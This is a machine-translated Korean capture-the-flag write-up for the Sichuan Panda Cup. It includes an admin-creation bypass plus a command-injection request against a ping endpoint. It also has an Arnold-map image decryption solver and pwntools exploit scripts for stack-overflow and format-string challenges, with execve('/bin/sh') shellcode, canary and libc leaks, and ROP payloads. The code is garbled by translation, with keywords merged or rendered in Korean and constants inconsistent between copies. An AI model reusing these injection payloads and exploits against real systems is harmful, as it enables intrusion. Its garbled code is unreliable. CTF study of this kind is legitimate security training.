제목 : Sichuan Panda Cup 예비 및 최종 질문 Wp

初赛​

web_ezcms​

Swagger 유출 테스트/테스트 계정 로그인,/sys/user/** 인증을 수행하지 않았으며, 슈퍼 관리자 사용자를 추가 할 수 있습니다.
1049983-20240802141202586-170871422.jpg

현재 롤 리드는 아직 알려지지 않았습니다. 그리고 역할 모듈은 무단으로되지 않습니다. 사용자 모듈을 계속 읽고 인터페이스를 발견하십시오
1049983-20240802141203506-2056064072.jpg

여기에 롤 리드 누출이 있습니다. IDFCF34B56-A7A2-4719-9236-867495E74C31에서 이전에 누출 된 관리자가 여기에서 누출되었습니다.
get/sys/user/rosel/fcf34b56-a7a2-4719-9236-867495e74c31 현재 슈퍼 관리자 ID가 11B3B80C-4A0B-4A92-96EA-FDDD4F7A4A7E9, 사용자 추가
{
'CreateWhere ':0,
'Deptid':'1',
'이메일 ':',
'비밀번호 ':'123456',
'Phone ':'11111111111',
'롤 리드 ': [
'11B3B80C-4A0B-4A92-96EA-FDD4F7A4A7E9'
],
'섹스 ':'fmale',
'username ':'Hacker '
} 비밀번호 필드 디코딩이 실패한 다음 테스트 계정으로 로그를 확인한 후 AES의 키를 발견 한 다음 ABCDEFGHIJKLMNOP을 찾은 다음 사용자를 성공적으로 추가했습니다. 사용자를 추가 한 후 모듈에서 핑 함수를 찾았지만 WAF가 있습니다. Waf를 우회하고 명령을 실행하여 플래그를 얻습니다
Post/Sys/Pinghttp/1.1
호스트 :
user-agent:mozilla/5.0 (Macintosh; intelmacosx10.15; rv:126.0) gecko/20100101firefox/126.0
accept: application/json, text/javaScript,*/*; q=0.01
허용 :ZH-CN, ZH; Q=0.8, ZH-TW; Q=0.7, ZH-HK; Q=0.5, en-US; Q=0.3, en; Q=0.2
인코딩 :gzip, deflate
Content-Type: application/json; charset=utf-8
인증 3:eyjhbgcioijiuzi1nij9.eyjzdwiioijmy2yzngi1ni1hn2eyltq3mtktotizni04njc0otvlnzrjrjmzeilcjqd3qtcm9szxmta2 v5xyi6wylotoxnuqfnrqhnkhnkiblkzgixswiaxnzijoiewluz3h1zs5jb20ilcjqd3qtcgvybwlzc2lvbnmta2v5ijpbinn5czp1c2vyomxpc3qilcjzexm 6zgvwddp1cgrhdguilcjzzexm6zgvwddpkzxrhawwilcjzexm6dxnlcjpyb2xlonvwzgf0zsisinnn5czpwzxxtaxnzaw9uomfkzcisinn5czp1c2vyomfkzcisinn5cz p1c2vyomfkzcisinn5czp1c2vyomrlbgvgv0zwqilcjzexm6cgvybwlzc2lvbjp1cgrhdguilcjzexm6dxnlcjpkzxrhawwilcjzexm6zgvwdddddddddddddddddpkzwxlgkiiwic3lzon JVBGU6DXBKYXRLIIWIC3LZONJONJVBGGU6ZGV0YWLSIIWIC3LZOMRLCHQ6BGLZDCISINN5CZPKZXB0OMFKZCISINN5CZP1C2VYONVWZGF0ZSISINN5CZPYB2XLOMXPC3QILCJZEXM 6CM9SZTPKZWXLDGVKIIWIC3LZONBLCM1PC3NPB246BGLZDCISINN5CZPWZXJTAXNZAW9UOMRLDGFPBCISINN5CZPWZXJTAXNZAW9UOMRLDGFBCISINN5CZPWNZTAXNUO mrlbgv0zwqilcjzexm6bg9nomrlbgvgvgv0zwqilcjzexm6dxnlcjpyb2xlomrldgfpbcisinn5czpyb2xlomfkzcisinn5czpsb2c6bglzdcjdlcjqd3qtdx nlci1uyw1llwtlesi6imfkbwluiiwiiiwizxhwijoxnze2nze3mjiwlcjpyxqioje3mty3mtawmjb9.9wcw8m2ky0lftbd2b7yaampktl_eo0kjcb5j3bw8fka
x- Quested-with:xmlhttprequest
컨텐츠 길이 :28
Origin:
DNT:1
SEC-GPC:1
Connection:Close
참조 :
Cookie:jsessionID=C701D746DA63E8FB94270AD6D2FD9ADB
Sec-Fetch-Dest:Empty
Sec-Fetch-Mode:Cors
Sec-Fetch-Site:Same-Origin
우선 순위 :U=1
{ 'IP'3360'10.10.10.10-1 || cat/flag'}

绝密文件-代号P​

importcv2
importnumpyasnp
S=17909320918192914995334613617854206759768232774125658680790702997290913658
fromcrypto.util.numberimport*
#P, Q=(2416276037837276242470687817893681267,
#347432454257893250496407965506777649463)
## assertp ** 2+q ** 2==s
## print (isprime (p), isprime (q))
#img_path='flag_enc.png'
#img=cv2.imread (img_path)
#print (img.shape)
Fromympy.solvers.diophantine.diophantineimportcornacchia
'' ''
이 장소는 수정하고 s에서 분해되어야하며 팩토링
F={7247215681561944590028089613581484765881:1,157606014 243244438240601:1,5801674693:1,2:1,1351:1}
'' ''
x1=Cornacchia (1,1, s)
fora, binx1:
Asserta ** 2+b ** 2==s
Ifisprime (a) Andisprime (b) :
인쇄 (a, b)
#나는 여기에 p와 q를 얻었습니다
fromcrypto.util.numberimport*
P, Q=302951519846417861008714825074296492447,29548872365062365416370451762393175957
S=17909320918192914995334613617854206759768232774125658680790702997290913658
Assertisprime (P) Andisprime (Q) 및 P ** 2+Q ** 2==S
importcv2
path1='flag_enc.png'
img=cv2.imread (path1)
#print (img.shape)
r, c, d=img.shape
인쇄 (R, C)
#i, j=101,201
Fromtqdmimporttqdm
a, b=p, q
foriintqdm (범위 (r)) :
forjinrange (c) :
set1=set ()
set1.add ((i, j))
i1, j1=i, j
WHILETRUE:
x=(i1+b*j1)%r
y=((a*i1)+(a*b+1)*j1)%c
i1, j1=x, y
if (x, y) notinset1:
set1.add ((x, y))
else:
ifi==0andj==0:
계속 계속하십시오
AssertLen (set1)==190#은 모두 기본값 190입니다
#우리는 여기에서 190이라는 것을 알았습니다. 우리가 방금 나중에 만지기 시작한 것은 우연의 일치였습니다.
#s1=s%190
#print (S1)
#importnumpyasnp
#defarnold (IMG, Shuffle_Times, A, B) :
#r, c, d=img.shape
#p=np.zeros (img.shape, np.uint8)
#print (r, c, d, shuffle_times)
#forsinRange (Shuffle_Times) :
#foriinRange (R) :
#forjinrange (c) :
#x=(i+b*j)%r
#y=((a*i)+(a*b+1)*j)%c
#p [x, y,]=img [i, j,]
#img=np.copy (p)
#returnp
#x1=Arnold (IMG, 11, P, Q)
#cv2.imwrite ( 'flag3.png', x1)
## cv2.imwrite ( 'flag1.png', img)

C=179093209181929149953334613617854206759768232774125658680790702997290913658
P, Q=302951519846417861008714825074296492447,29548872365062365416370451762393175957
importcv2
importnumpyasnp
Defarnold (IMG, Shuffle_times, A, B) :
r, c, d=img.shape
p=np.zeros (img.shape, np.uint8)
print (r, c, d, shuffle_times)
ForsinRange (Shuffle_Times) :
foriinrange (R) :
forjinrange (c) :
x=(i+b*j)%r
y=((a*i)+(a*b+1)*j)%c
p [x, y,]=img [i, j,]
img=np.copy (p)
반품
img=cv2.imread ( 'flag_enc.png')
#print (IMG)
C1=C%190
Foriinrange (190) :
IMG=Arnold (IMG, 1, P, Q)
cv2.imwrite (f'flag {i+1} .png ', img)
'' ''
1. 격렬하게 열거하십시오. 어쨌든,주기는 190이며, 모든 것을 열거하십시오. i=66을 찾으면 flag67.png는 플래그입니다
2.flag {ailuropoda_rnelanoleca}
'' '

坚持做正确的事​

트래픽 패킷에서 검색된 데이터는 이미지의 16 진수 시스템입니다.
1049983-20240802141204115-667496384.jpg

그의 16 진수 시스템을 확인하고 끝에 추가 데이터가 있는지 확인하십시오.
1049983-20240802141204919-1421521109.jpg

VIM 드로잉 명령입니다. Drawit을 직접 설치하고 명령을 입력하여지도를 그립니다.

GAME​

게임을 직접 플레이하고 깃발을 얻습니다

这是真签到​

1049983-20240802141205695-1581426213.jpg

FunIoT​

은 Docker 파일 세트를 제공하고, 이진 파일을 실행하고, 역전을 직접 열고, 동적 디버깅 및 정적 분석을 결합하여 프로토콜 형식을 분석하고, 마지막으로 읽기 파일의 기능 중 하나를 사용하고 //우회 비교 감지 :
1049983-20240802141206375-612647167.jpg

그런 다음 깃발을 읽으십시오.
Frommpwnimport*
importzlib
#P=원격 ( '127.0.0.1', 6768)
P=원격 ( '173.34.20.10', 6768)
헤더=b'funiot '#6
CMD=0x102
cmd_encode=int (cmd) .to_bytes (2, 'big')
LEN=0x0101
길이=int (len) .to_bytes (2, 'big')
#content=b'getInfo:shadow '
#content=b'getInfo:/lib/udev/rc_keymaps/asus_pc39.toml '
content=b'getInfo: //flag '
content=content.ljust (0x101, b '\ x00')
check_sum=int (zlib.crc32 (content)). to_bytes (4, 'big')
full_content=헤더+길이+cmd_encode+check_sum+컨텐츠
#packet:
#Header:6Bytes
#length:2Bytes
#CMD:2BYTES
#checksum33604Bytes
#content:UnkNow
context.log_level='디버그'
P.Send (full_content)
#p.interactive ()
importbase64
print (base64.b64decode (p.recv ()). decode ( 'utf-8'))
#command33600getInfo, setInfo, Secret

guess_hack​

이 질문은 최대 값과 최소값을 입력 한 다음이 범위에서 임의의 숫자를 추측해야합니다. 올바르게 추측하면 스택 오버플로에 들어갑니다. 오버플로 캐릭터의 수는 잘못 생각한 횟수이므로 두 개의 인접한 숫자를 입력 한 다음 충분한 시간을 추측 한 다음 정기적 인 스택 오버 플로우 활용을 수행 할 수 있습니다. 스택은 열린 후에 스택을 실행할 수 있고, 감지에 페이로드가 비어 있지 않아야하므로 직접 쉘 코드를 작성하고 비어 있지 않은 감지를 우회 한 작은 XOR를 수행했습니다.
#랜덤%(max-min+1)+min
Frommpwnimport*
context.log_level='디버그'
#p=프로세스 ( './main')
P=원격 ( '173.34.20.233', 9999)
p.sendlinter (b'ch: ', b'1')
p.sendlintter (b'enteraminumandmaximumnumberforthegeinggame: ', b'12')
foriinrange (99) :
p.sendlinter (b'guessanumber ', b'1')
p.sendlinter (b'guessanumberbetween ', b'2')
페이로드=b'a '*0x3c
페이로드+=P32 (0x0805dea9)
Payload+=ASM ( ''Push0xffffffff4
popeax
push0xffffffffffff
Popepx
xoreax, ebx
푸시0xff978cd0
popecx
xorecx, ebx
푸시 렉스
푸시0x6e69622f
MoveBX, esp
Xorecx, Ecx
int0x80 '' ')
Payload=Payload.ljust (99, B'a ')
정지시키다()
p.sendlinter (b'congratulations! ', Payload)
p.interactive ()

msg​

사전 사전의 스택 오버플로 + 형식 문자열 취약성은 카나리아 및 LIBC로 누출되는 형식 문자열 취약점을 이용한 다음 오버플로 리턴 주소는 다음과 같습니다.
Frommpwnimport*
#p=프로세스 ( './main')
P=원격 ( '173.34.20.68', 9999)
p.sendlintter (b'message: ', b'%11 $ p ')
Canary=int (p.recv (18), 16)
성공 (f'canary: {hex (canary)} ')
p.sendlinter (b'message: ', b'%3 $ p ')
libc=int (p.recv (14), 16) -0x10e1f2
성공 (f'libc: {hex (libc)} '))
하나=libc+0xe3b01
p.sendlinter (b'message: ', b'a'*0x28+p64 (카나리)+b'b '*8+p64 (1)))
정지시키다()
p.sendlinter (b'message: ', b'\ x00 '*0x10)
P.interactive ()

stackover​

은 또한 클래식 스택 오버플로이지만 원격 LIBC는 로컬과 약간 다릅니다. 또한, 반환 주소는 성공적으로 사용되지 않은 Leaf ESP, [ECX-4], RET를 통해 반환됩니다. 그러나 프로그램을 다양한 출력 장소로 제어 한 후에는 스택 환경이 기본적으로 동일하다는 것이 결정되므로 결국 LIBC에 의존하지 않도록하십시오.
Frommpwnimport*
#context.log_level='디버그'
#p=process ( './stackover')
P=원격 (B'173.34.20.46 ', 9999)
p.sendafter (b'read: ', b'a'*0x29b)
p.recvuntil (b'a '*0x29b)
Canary=u32 (b '\ x00'+p.recv (3))
성공 (f'canary: {hex (canary)} ')
#정지시키다()
p.SendAfter (B'Read: ', B'A'*(0x29B+7+8+0x2c-0x30-4)))))
p.recvuntil (b'a '*(0x29b+7+8+0x2c-0x30-4)))))
p.recv (4)
p.recv (4)
스택=u32 (p.recv (4))
성공 (f'stack: {hex (stack)} ')
#정지시키다()
p.SendAfter (B'Read: ', B'B'*(0x29B+0x18+7)))
p.recvuntil (b'b '*(0x29b+0x18+7)))
libc=u32 (p.recv (4)) -0x1aed5
성공 (f'libc: {hex (libc)} '))
#정지시키다()
p.SendAfter (B'Read: ', B'A'*(0x29B+7+8+0x2c+0x54))))
p.recvuntil (b'a '*(0x29b+7+8+0x2c+0x54)))))
elf_base=u32 (p.recv (4)) -0x3fb8
성공 (f'elf_base: {hex (eff_base)} ')
페이로드=b'c '*(0x29a-0x14-8)
#execve0xc9510
#System0X41780
#puts0x6dc40
#페이로드+=P32 (libc+0x6dc40)
#Payload+=P32 (ELF_Base+0x1130)
페이로드+=b '/bin/sh \ x00'
페이로드+=P32 (ELF_BASE+0x128E)
#페이로드+=P32 (ELF_BASE+0x3FCC)
#페이로드+=P32 (0)
페이로드+=P32 (stack-0x50)
페이로드+=P32 (0)
#페이로드+=P32 (libc+0x18e363)
#페이로드+=P32 (libc+0x18e363)
페이로드+=P32 (0)
페이로드+=P32 (0)
페이로드+=P32 (카나리아)
페이로드+=P32 (0)*3
페이로드+=P32 (stack-0x44)
페이로드+=P32 (ELF_BASE+0x3FB8)
페이로드+=b '/bin/sh \ x00'
정지시키다()
context.log_level='디버그'
p.sendafter (b'read: ', 페이로드)
p.interactive ()

stackover-revenge​

은 255 내에 추가 및 뺄셈 기능을 제공합니다. 처음에는 취약성이 보이지 않았지만 나중에는 작은 백도어 코드가 프로그램의 정상 프로세스에 추가 된 것을 발견했습니다.
1049983-20240802141207116-1405232494.jpg

IDA는 F5를 누르고 여기에서 볼 수 없습니다. 다른 장소의 백도어 코드는 위의 코드의 트리거링 조건을 완료 할 수 있습니다.
 
뒤로
상단